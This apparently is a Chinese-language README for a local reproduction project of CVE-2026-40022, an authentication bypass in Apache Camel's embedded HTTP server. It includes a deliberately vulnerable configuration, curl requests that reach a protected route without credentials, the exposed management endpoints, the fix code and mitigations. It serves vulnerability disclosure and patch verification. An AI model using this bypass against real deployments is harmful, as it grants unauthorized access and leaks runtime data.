该项目演示了 Apache Camel 的 camel-platform-http-main 组件(Camel main 运行时的嵌入式 HTTP/管理服务器)中的一个身份验证绕过漏洞,跟踪编号为 CVE-2026-40022。当启用身份验证并配置了非根上下文路径(例如 /api 或 /admin)时,身份验证处理器仅覆盖确切的上下文路径,因此对子路径的未经身份验证的请求可以到达受保护的路由和管理端点。
公告:https://camel.apache.org/security/CVE-2026-40022.html
| 属性 | 值 |
|---|---|
| 组件 | camel-platform-http-main(Camel main 运行时嵌入式 HTTP/管理服务器) |
| 受影响类 | BasicAuthenticationConfigurer、JWTAuthenticationConfigurer、MainAuthenticationConfigurer |
| 根本原因 | 当 authenticationPath 未设置时,它从 camel.server.path 派生;在使用 Vert.x 子路由器挂载模型时,身份验证处理器仅匹配确切的上下文路径,而不匹配其子路径 |
| CWE | CWE-287: 不正确的身份验证(身份验证绕过) |
| 影响 | 未经身份验证即可访问受保护的业务路由和管理端点(例如 /observe/info 运行时元数据泄露) |
| 受影响版本 | 从 4.14.1 到 4.14.6 之前,以及从 4.15.0 到 4.18.2 之前 |
| 修复版本 | 4.14.6、4.18.2、4.20.0 |
| 报告者 | 于季航(Jihang Yu) |
| PR | apache/camel#22474 (main)、#22475 (4.18.x)、#22476 (4.14.x) |
BasicAuthenticationConfigurer(以及 JWTAuthenticationConfigurer)从 properties.getAuthenticationPath() 解析身份验证处理器保护的路径,当未显式设置时,回退到 properties.getPath()(camel.server.path 上下文路径):
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
Vert.x 服务器在 <contextPath>* 处挂载一个子路由器,并在该子路由器内部的已解析路径处注册身份验证处理器。在受影响版本中,已解析的路径是上下文路径本身,因此——相对于已挂载在 /api 的子路由器——身份验证处理器最终匹配 /api/api 而不是每个子路径。结果如下:
/api/api 会被质询(401)——处理器存在,但作用域错误/api/hello(真正的业务路由)不会被质询 → 无需凭据即可访问修复使 resolveAuthenticationPath 返回 /*,因此处理器覆盖子路由器的所有子路径。
application.properties——使用非根上下文路径并启用身份验证,且 authenticationPath 未设置:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
路由在 /api/hello 提供服务。
无需外部服务或 Docker 容器——易受攻击的 HTTP 服务器就是应用程序本身。
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
BasicAuthHandler 已激活——但作用域仅为确切的上下文路径。
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (这是一个受保护的业务路由)
在修复版本(4.14.6 / 4.18.2 / 4.20.0)上将返回 401 Unauthorized。
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
同样的缺陷也适用于管理服务器(camel.management.path,例如 /admin)。对子路径(如 /admin/observe/info)的未经身份验证的请求可到达管理端点,从而泄露运行时元数据:操作系统用户、工作/主目录、进程 ID、JVM 和操作系统信息。
camel-platform-http-main 的 Camel main 运行时。camel.server.path / camel.management.path)。camel.server.authenticationPath / camel.management.authenticationPath。升级到 4.14.6 / 4.18.2 / 4.20.0。修复(resolveAuthenticationPath)使身份验证处理器覆盖每个子路径:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // 原为:确切的上下文路径
}
在升级之前:
camel.server.authenticationPath = /*(以及 camel.management.authenticationPath = /*),使处理器覆盖所有子路径。CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main 运行时入口点
│ └── HelloRoute.java # 一个受保护的 platform-http 路由 (/api/hello)
└── resources/
├── application.properties # 非根路径 + 启用身份验证(易受攻击的配置)
└── auth.properties # basic-auth 用户 (camel / propertiesPass)
此复现工具仅供安全研究和授权测试使用,针对的是已公开披露并修复的漏洞。请勿在未经明确许可的系统上使用。